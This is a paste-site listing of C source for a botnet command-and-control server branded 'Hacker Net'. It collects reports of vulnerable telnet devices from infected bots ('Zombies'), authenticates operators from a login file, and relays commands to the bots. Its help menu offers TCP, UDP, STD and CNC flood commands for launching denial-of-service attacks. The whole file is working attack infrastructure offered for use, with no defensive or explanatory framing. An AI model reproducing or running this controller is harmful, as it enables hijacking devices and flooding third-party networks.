SHOW:
|
|
- or go back to the newest paste.
| 1 | //Credits to Demented | |
| 2 | //CONNECTION HANDLER MODIFIED BY Jonah | |
| 3 | //make a login.txt for logins | |
| 4 | #include <stdio.h> | |
| 5 | #include <stdlib.h> | |
| 6 | #include <string.h> | |
| 7 | #include <sys/types.h> | |
| 8 | #include <sys/socket.h> | |
| 9 | #include <netdb.h> | |
| 10 | #include <unistd.h> | |
| 11 | #include <time.h> | |
| 12 | #include <fcntl.h> | |
| 13 | #include <sys/epoll.h> | |
| 14 | #include <errno.h> | |
| 15 | #include <pthread.h> | |
| 16 | #include <signal.h> | |
| 17 | #define HACKERZ "V1" | |
| 18 | #define MAXFDS 1000000 | |
| 19 | char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
| |
| 20 | char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
| |
| 21 | struct account {
| |
| 22 | char id[20]; | |
| 23 | char password[20]; | |
| 24 | }; | |
| 25 | static struct account accounts[50]; | |
| 26 | struct clientdata_t {
| |
| 27 | uint32_t ip; | |
| 28 | char build[7]; | |
| 29 | char connected; | |
| 30 | } clients[MAXFDS]; | |
| 31 | struct telnetdata_t {
| |
| 32 | int connected; | |
| 33 | int hax; | |
| 34 | } managements[MAXFDS]; | |
| 35 | static volatile FILE *telFD; | |
| 36 | static volatile FILE *fileFD; | |
| 37 | static volatile int epollFD = 0; | |
| 38 | static volatile int listenFD = 0; | |
| 39 | static volatile int managesConnected = 0; | |
| 40 | static volatile int TELFound = 0; | |
| 41 | static volatile int scannerreport; | |
| 42 | int fdgets(unsigned char *buffer, int bufferSize, int fd) | |
| 43 | {
| |
| 44 | int total = 0, got = 1; | |
| 45 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
| |
| 46 | return got; | |
| 47 | } | |
| 48 | void trim(char *str) | |
| 49 | {
| |
| 50 | int i; | |
| 51 | int begin = 0; | |
| 52 | int end = strlen(str) - 1; | |
| 53 | while (isspace(str[begin])) begin++; | |
| 54 | while ((end >= begin) && isspace(str[end])) end--; | |
| 55 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
| 56 | str[i - begin] = '\0'; | |
| 57 | } | |
| 58 | static int make_socket_non_blocking (int sfd) | |
| 59 | {
| |
| 60 | int flags, s; | |
| 61 | flags = fcntl (sfd, F_GETFL, 0); | |
| 62 | if (flags == -1) | |
| 63 | {
| |
| 64 | perror ("fcntl");
| |
| 65 | return -1; | |
| 66 | } | |
| 67 | flags |= O_NONBLOCK; | |
| 68 | s = fcntl (sfd, F_SETFL, flags); | |
| 69 | if (s == -1) | |
| 70 | {
| |
| 71 | perror ("fcntl");
| |
| 72 | return -1; | |
| 73 | } | |
| 74 | return 0; | |
| 75 | } | |
| 76 | int hackz; | |
| 77 | static int create_and_bind (char *port) | |
| 78 | {
| |
| 79 | struct addrinfo hints; | |
| 80 | struct addrinfo *result, *rp; | |
| 81 | int s, sfd; | |
| 82 | memset (&hints, 0, sizeof (struct addrinfo)); | |
| 83 | hints.ai_family = AF_UNSPEC; | |
| 84 | hints.ai_socktype = SOCK_STREAM; | |
| 85 | hints.ai_flags = AI_PASSIVE; | |
| 86 | s = getaddrinfo (NULL, port, &hints, &result); | |
| 87 | if (s != 0) | |
| 88 | {
| |
| 89 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); | |
| 90 | return -1; | |
| 91 | } | |
| 92 | for (rp = result; rp != NULL; rp = rp->ai_next) | |
| 93 | {
| |
| 94 | sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); | |
| 95 | if (sfd == -1) continue; | |
| 96 | int yes = 1; | |
| 97 | if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
| |
| 98 | s = bind (sfd, rp->ai_addr, rp->ai_addrlen); | |
| 99 | if (s == 0) | |
| 100 | {
| |
| 101 | break; | |
| 102 | } | |
| 103 | close (sfd); | |
| 104 | } | |
| 105 | if (rp == NULL) | |
| 106 | {
| |
| 107 | fprintf (stderr, "Could not bind\n"); | |
| 108 | return -1; | |
| 109 | } | |
| 110 | freeaddrinfo (result); | |
| 111 | return sfd; | |
| 112 | } | |
| 113 | void broadcast(char *msg, int us, char *sender) | |
| 114 | {
| |
| 115 | int sendMGM = 1; | |
| 116 | if(strcmp(msg, "PING") == 0) sendMGM = 0; | |
| 117 | char *wot = malloc(strlen(msg) + 10); | |
| 118 | memset(wot, 0, strlen(msg) + 10); | |
| 119 | strcpy(wot, msg); | |
| 120 | trim(wot); | |
| 121 | time_t rawtime; | |
| 122 | struct tm * timeinfo; | |
| 123 | time(&rawtime); | |
| 124 | timeinfo = localtime(&rawtime); | |
| 125 | char *timestamp = asctime(timeinfo); | |
| 126 | trim(timestamp); | |
| 127 | int i; | |
| 128 | for(i = 0; i < MAXFDS; i++) | |
| 129 | {
| |
| 130 | if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue; | |
| 131 | if(sendMGM && managements[i].connected) | |
| 132 | {
| |
| 133 | send(i, "\x1b[36m", 5, MSG_NOSIGNAL); | |
| 134 | send(i, sender, strlen(sender), MSG_NOSIGNAL); | |
| 135 | send(i, ": ", 2, MSG_NOSIGNAL); | |
| 136 | } | |
| 137 | printf("sent to fd: %d\n", i);
| |
| 138 | send(i, msg, strlen(msg), MSG_NOSIGNAL); | |
| 139 | char *root1[1024]; | |
| 140 | sprintf(root1, "\r\n\x1b[%s-> \x1b[37m ", colorCodes[rand() % 6]); | |
| 141 | if(sendMGM && managements[i].connected) send(i, root1, strlen(root1), MSG_NOSIGNAL); | |
| 142 | else send(i, "\n", 1, MSG_NOSIGNAL); | |
| 143 | } | |
| 144 | free(wot); | |
| 145 | } | |
| 146 | void *epollEventLoop(void *useless) | |
| 147 | {
| |
| 148 | struct epoll_event event; | |
| 149 | struct epoll_event *events; | |
| 150 | int s; | |
| 151 | events = calloc (MAXFDS, sizeof event); | |
| 152 | while (1) | |
| 153 | {
| |
| 154 | int n, i; | |
| 155 | n = epoll_wait (epollFD, events, MAXFDS, -1); | |
| 156 | for (i = 0; i < n; i++) | |
| 157 | {
| |
| 158 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) | |
| 159 | {
| |
| 160 | clients[events[i].data.fd].connected = 0; | |
| 161 | close(events[i].data.fd); | |
| 162 | continue; | |
| 163 | } | |
| 164 | else if (listenFD == events[i].data.fd) | |
| 165 | {
| |
| 166 | while (1) | |
| 167 | {
| |
| 168 | struct sockaddr in_addr; | |
| 169 | socklen_t in_len; | |
| 170 | int infd, ipIndex; | |
| 171 | in_len = sizeof in_addr; | |
| 172 | infd = accept (listenFD, &in_addr, &in_len); | |
| 173 | if (infd == -1) | |
| 174 | {
| |
| 175 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; | |
| 176 | else | |
| 177 | {
| |
| 178 | perror ("accept");
| |
| 179 | break; | |
| 180 | } | |
| 181 | } | |
| 182 | clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; | |
| 183 | int dup = 0; | |
| 184 | for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) | |
| 185 | {
| |
| 186 | if(!clients[ipIndex].connected || ipIndex == infd) continue; | |
| 187 | if(clients[ipIndex].ip == clients[infd].ip) | |
| 188 | {
| |
| 189 | dup = 1; | |
| 190 | break; | |
| 191 | } | |
| 192 | } | |
| 193 | if(dup) | |
| 194 | {
| |
| 195 | if(send(infd, "!* KICKMEPLS\r\n", 14, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 196 | if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 197 | close(infd); | |
| 198 | continue; | |
| 199 | } | |
| 200 | s = make_socket_non_blocking (infd); | |
| 201 | if (s == -1) { close(infd); break; }
| |
| 202 | event.data.fd = infd; | |
| 203 | event.events = EPOLLIN | EPOLLET; | |
| 204 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event); | |
| 205 | if (s == -1) | |
| 206 | {
| |
| 207 | perror ("epoll_ctl");
| |
| 208 | close(infd); | |
| 209 | break; | |
| 210 | } | |
| 211 | clients[infd].connected = 1; | |
| 212 | send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL); | |
| 213 | } | |
| 214 | continue; | |
| 215 | } | |
| 216 | else | |
| 217 | {
| |
| 218 | int thefd = events[i].data.fd; | |
| 219 | struct clientdata_t *client = &(clients[thefd]); | |
| 220 | int done = 0; | |
| 221 | client->connected = 1; | |
| 222 | while (1) | |
| 223 | {
| |
| 224 | int cheats; | |
| 225 | ssize_t count; | |
| 226 | char buf[2048]; | |
| 227 | memset(buf, 0, sizeof buf); | |
| 228 | while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0) | |
| 229 | {
| |
| 230 | if(strstr(buf, "\n") == NULL) { done = 1; break; }
| |
| 231 | trim(buf); | |
| 232 | if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive | |
| 233 | {
| |
| 234 | if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
| |
| 235 | continue; | |
| 236 | } | |
| 237 | if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan | |
| 238 | {
| |
| 239 | char *line = strstr(buf, "REPORT ") + 7; | |
| 240 | fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is! | |
| 241 | fflush(telFD); | |
| 242 | TELFound++; | |
| 243 | continue; | |
| 244 | } | |
| 245 | if(strstr(buf, "PROBING") == buf) | |
| 246 | {
| |
| 247 | char *line = strstr(buf, "PROBING"); | |
| 248 | scannerreport = 1; | |
| 249 | continue; | |
| 250 | } | |
| 251 | if(strstr(buf, "REMOVING PROBE") == buf) | |
| 252 | {
| |
| 253 | char *line = strstr(buf, "REMOVING PROBE"); | |
| 254 | scannerreport = 0; | |
| 255 | continue; | |
| 256 | } | |
| 257 | if(strcmp(buf, "PONG") == 0) | |
| 258 | {
| |
| 259 | continue; | |
| 260 | } | |
| 261 | printf("buf: \"%s\"\n", buf);
| |
| 262 | } | |
| 263 | if (count == -1) | |
| 264 | {
| |
| 265 | if (errno != EAGAIN) | |
| 266 | {
| |
| 267 | done = 1; | |
| 268 | } | |
| 269 | break; | |
| 270 | } | |
| 271 | else if (count == 0) | |
| 272 | {
| |
| 273 | done = 1; | |
| 274 | break; | |
| 275 | } | |
| 276 | } | |
| 277 | if (done) | |
| 278 | {
| |
| 279 | client->connected = 0; | |
| 280 | close(thefd); | |
| 281 | } | |
| 282 | } | |
| 283 | } | |
| 284 | } | |
| 285 | } | |
| 286 | unsigned int clientsConnected() | |
| 287 | {
| |
| 288 | int i = 0, total = 0; | |
| 289 | for(i = 0; i < MAXFDS; i++) | |
| 290 | {
| |
| 291 | if(!clients[i].connected) continue; | |
| 292 | total++; | |
| 293 | } | |
| 294 | return total; | |
| 295 | } | |
| 296 | void *titleWriter(void *sock) | |
| 297 | {
| |
| 298 | int thefd = (int)sock; | |
| 299 | char string[2048]; | |
| 300 | while(1) | |
| 301 | {
| |
| 302 | memset(string, 0, 2048); | |
| 303 | sprintf(string, "%c]0;[+] Zombies: %d [-] Admins: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007'); | |
| 304 | if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return; | |
| 305 | sleep(2); | |
| 306 | } | |
| 307 | } | |
| 308 | int Search_in_File(char *str) | |
| 309 | {
| |
| 310 | FILE *fp; | |
| 311 | int line_num = 0; | |
| 312 | int find_result = 0, find_line=0; | |
| 313 | char temp[512]; | |
| 314 | if((fp = fopen("login.txt", "r")) == NULL){
| |
| 315 | return(-1); | |
| 316 | } | |
| 317 | while(fgets(temp, 512, fp) != NULL){
| |
| 318 | if((strstr(temp, str)) != NULL){
| |
| 319 | find_result++; | |
| 320 | find_line = line_num; | |
| 321 | } | |
| 322 | line_num++; | |
| 323 | } | |
| 324 | if(fp) | |
| 325 | fclose(fp); | |
| 326 | if(find_result == 0)return 0; | |
| 327 | return find_line; | |
| 328 | } | |
| 329 | void *telnetWorker(void *sock) | |
| 330 | {
| |
| 331 | char usernames[80]; | |
| 332 | int thefd = (int)sock; | |
| 333 | int find_line; | |
| 334 | managesConnected++; | |
| 335 | pthread_t title; | |
| 336 | char counter[2048]; | |
| 337 | memset(counter, 0, 2048); | |
| 338 | char buf[2048]; | |
| 339 | char* nickstring; | |
| 340 | char* username; | |
| 341 | char* password; | |
| 342 | memset(buf, 0, sizeof buf); | |
| 343 | char hackz[2048]; | |
| 344 | memset(hackz, 0, 2048); | |
| 345 | FILE *fp; | |
| 346 | int i=0; | |
| 347 | int c; | |
| 348 | fp=fopen("login.txt", "r"); // format: user pass
| |
| 349 | while(!feof(fp)) | |
| 350 | {
| |
| 351 | c=fgetc(fp); | |
| 352 | ++i; | |
| 353 | } | |
| 354 | int j=0; | |
| 355 | rewind(fp); | |
| 356 | while(j!=i-1) | |
| 357 | {
| |
| 358 | fscanf(fp, "%s %s", accounts[j].id, accounts[j].password); | |
| 359 | ++j; | |
| 360 | } | |
| 361 | sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]); | |
| 362 | if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end; | |
| 363 | if(fdgets(buf, sizeof buf, thefd) < 1) goto end; | |
| 364 | trim(buf); | |
| 365 | sprintf(usernames, buf); | |
| 366 | nickstring = ("%s", buf);
| |
| 367 | find_line = Search_in_File(nickstring); | |
| 368 | if(strcmp(nickstring, accounts[find_line].id) == 0){
| |
| 369 | sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]); | |
| 370 | if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end; | |
| 371 | if(fdgets(buf, sizeof buf, thefd) < 1) goto end; | |
| 372 | trim(buf); | |
| 373 | if(strcmp(buf, accounts[find_line].password) != 0) goto failed; | |
| 374 | memset(buf, 0, 2048); | |
| 375 | goto hacker; | |
| 376 | } | |
| 377 | failed: | |
| 378 | if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end; | |
| 379 | if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end; | |
| 380 | sleep(2); | |
| 381 | if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end; | |
| 382 | sleep(2); | |
| 383 | goto end; | |
| 384 | hacker: | |
| 385 | if (send(thefd, "\x1b[36mLoading Botnet\r\n", 35, MSG_NOSIGNAL) == -1) goto end; | |
| 386 | sleep(2); | |
| 387 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 388 | sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]); | |
| 389 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end; | |
| 390 | if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe | |
| 391 | if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 392 | if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 393 | if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 394 | if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 395 | if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 396 | if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 397 | if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 398 | sprintf(hackz, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To Hacker Net\x1b[37m-[+]\r\n\r\n\x1b[36mPleas Type RULES: \x1b[37m", colorCodes[(rand() % 6)], usernames); | |
| 399 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end; | |
| 400 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 401 | managements[thefd].connected = 1; | |
| 402 | while(fdgets(buf, sizeof buf, thefd) > 0) | |
| 403 | {
| |
| 404 | if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0) | |
| 405 | {
| |
| 406 | sprintf(hackz, "[\x1b[36m+\x1b[37m] Zombies: %d [\x1b[31m-\x1b[37m] Hackers Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected); | |
| 407 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 408 | } | |
| 409 | if (strncmp(buf, "status", 6) == 0 || strncmp(buf, "STATUS", 6) == 0) | |
| 410 | {
| |
| 411 | sprintf(hackz, "[\x1b[36m+\x1b[37m] Router: %d [\x1b[31m-\x1b[37m] Router status: % [\x1b[36m+\x1b[37m]\r\n", TELFound, scannerreport); | |
| 412 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 413 | } | |
| 414 | if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0) | |
| 415 | {
| |
| 416 | sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n"); | |
| 417 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 418 | } | |
| 419 | if (strncmp(buf, "rules", 5) == 0 || strncmp(buf, "RULES", 5) == 0) | |
| 420 | {
| |
| 421 | sprintf(hackz, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Have Fucking Fun\r\n"); | |
| 422 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 423 | } | |
| 424 | if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0) | |
| 425 | {
| |
| 426 | sprintf(hackz, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n"); | |
| 427 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 428 | sprintf(hackz, "\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n"); | |
| 429 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 430 | sprintf(hackz, "\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n"); | |
| 431 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 432 | sprintf(hackz, "\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n"); | |
| 433 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 434 | sprintf(hackz, "\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n"); | |
| 435 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 436 | sprintf(hackz, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n"); | |
| 437 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 438 | sprintf(hackz, "\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n"); | |
| 439 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 440 | sprintf(hackz, "\x1b[37m!* PORT_SCAN IP | MAKE SURE TO PUT THE IP AT THE END\r\n"); | |
| 441 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 442 | } | |
| 443 | if(strstr(buf, "PORT_SCAN")) {
| |
| 444 | sleep(2); | |
| 445 | sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]); | |
| 446 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return; | |
| 447 | } | |
| 448 | if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0) | |
| 449 | {
| |
| 450 | sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]); | |
| 451 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end; | |
| 452 | if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 453 | if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 454 | if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 455 | if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 456 | if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 457 | if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 458 | if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 459 | if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db\r\n", 68, MSG_NOSIGNAL) == -1) goto end; | |
| 460 | sprintf(hackz, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To Hacker Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernames); | |
| 461 | if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end; | |
| 462 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 463 | managements[thefd].connected = 1; | |
| 464 | } | |
| 465 | if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0) | |
| 466 | {
| |
| 467 | goto end; | |
| 468 | } | |
| 469 | if (strncmp(buf, "2000", 4) == 0 || strncmp(buf, "2100", 4) == 0 || strncmp(buf, "2200", 4) == 0 || strncmp(buf, "2300", 4) == 0 || strncmp(buf, "2400", 4) == 0 || strncmp(buf, "2500", 4) == 0) | |
| 470 | {
| |
| 471 | printf("Over Time By %s\n", accounts[find_line].id, buf);
| |
| 472 | FILE *logFile; | |
| 473 | logFile = fopen("OverTime.log", "a");
| |
| 474 | fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf); | |
| 475 | fclose(logFile); | |
| 476 | goto end; | |
| 477 | } | |
| 478 | if(strstr(buf, "LOLNOGTFO")) | |
| 479 | {
| |
| 480 | printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
| |
| 481 | FILE *logFile; | |
| 482 | logFile = fopen("KILL.log", "a");
| |
| 483 | fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf); | |
| 484 | fclose(logFile); | |
| 485 | goto end; | |
| 486 | } | |
| 487 | if(strstr(buf, "SH")) | |
| 488 | {
| |
| 489 | printf("ATTEMPT TO SH BOTS BY %s\n", accounts[find_line].id, buf);
| |
| 490 | FILE *logFile; | |
| 491 | logFile = fopen("SH.log", "a");
| |
| 492 | fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf); | |
| 493 | fclose(logFile); | |
| 494 | goto end; | |
| 495 | } | |
| 496 | trim(buf); | |
| 497 | char *root2[1024]; | |
| 498 | sprintf(root2, "\x1b[%s->\x1b[0;37m ", colorCodes[rand() % 5]); | |
| 499 | if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end; | |
| 500 | if(strlen(buf) == 0) continue; | |
| 501 | printf("%s: \"%s\"\n",accounts[find_line].id, buf);
| |
| 502 | FILE *logFile; | |
| 503 | logFile = fopen("report.log", "a");
| |
| 504 | fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf); | |
| 505 | fclose(logFile); | |
| 506 | broadcast(buf, thefd, usernames); | |
| 507 | memset(buf, 0, 2048); | |
| 508 | } | |
| 509 | end: // cleanup dead socket | |
| 510 | managements[thefd].connected = 0; | |
| 511 | close(thefd); | |
| 512 | managesConnected--; | |
| 513 | } | |
| 514 | void *telnetListener(int port) | |
| 515 | {
| |
| 516 | int sockfd, newsockfd; | |
| 517 | socklen_t clilen; | |
| 518 | struct sockaddr_in serv_addr, cli_addr; | |
| 519 | sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
| 520 | if (sockfd < 0) perror("ERROR opening socket");
| |
| 521 | bzero((char *) &serv_addr, sizeof(serv_addr)); | |
| 522 | serv_addr.sin_family = AF_INET; | |
| 523 | serv_addr.sin_addr.s_addr = INADDR_ANY; | |
| 524 | serv_addr.sin_port = htons(port); | |
| 525 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
| |
| 526 | listen(sockfd,5); | |
| 527 | clilen = sizeof(cli_addr); | |
| 528 | while(1) | |
| 529 | {
| |
| 530 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); | |
| 531 | if (newsockfd < 0) perror("ERROR on accept");
| |
| 532 | pthread_t thread; | |
| 533 | pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); | |
| 534 | } | |
| 535 | } | |
| 536 | int main (int argc, char *argv[], void *sock) | |
| 537 | {
| |
| 538 | signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel | |
| 539 | int s, threads, port; | |
| 540 | struct epoll_event event; | |
| 541 | if (argc != 4) | |
| 542 | {
| |
| 543 | fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]); | |
| 544 | exit (EXIT_FAILURE); | |
| 545 | } | |
| 546 | port = atoi(argv[3]); | |
| 547 | printf("\x1b[33mHacka Shit By Jonah\x1b[0m\n");
| |
| 548 | telFD = fopen("telnet.txt", "a+");
| |
| 549 | threads = atoi(argv[2]); | |
| 550 | listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't | |
| 551 | if (listenFD == -1) abort (); | |
| 552 | s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't | |
| 553 | if (s == -1) abort (); | |
| 554 | s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't | |
| 555 | if (s == -1) | |
| 556 | {
| |
| 557 | perror ("listen");
| |
| 558 | abort (); | |
| 559 | } | |
| 560 | epollFD = epoll_create1 (0); | |
| 561 | if (epollFD == -1) | |
| 562 | {
| |
| 563 | perror ("epoll_create");
| |
| 564 | abort (); | |
| 565 | } | |
| 566 | event.data.fd = listenFD; | |
| 567 | event.events = EPOLLIN | EPOLLET; | |
| 568 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event); | |
| 569 | if (s == -1) | |
| 570 | {
| |
| 571 | perror ("epoll_ctl");
| |
| 572 | abort (); | |
| 573 | } | |
| 574 | pthread_t thread[threads + 2]; | |
| 575 | while(threads--) | |
| 576 | {
| |
| 577 | pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); | |
| 578 | } | |
| 579 | pthread_create(&thread[0], NULL, &telnetListener, port); | |
| 580 | while(1) | |
| 581 | {
| |
| 582 | broadcast("PING", -1, "HACKER");
| |
| 583 | sleep(60); | |
| 584 | } | |
| 585 | close (listenFD); | |
| 586 | return EXIT_SUCCESS; | |
| 587 | } |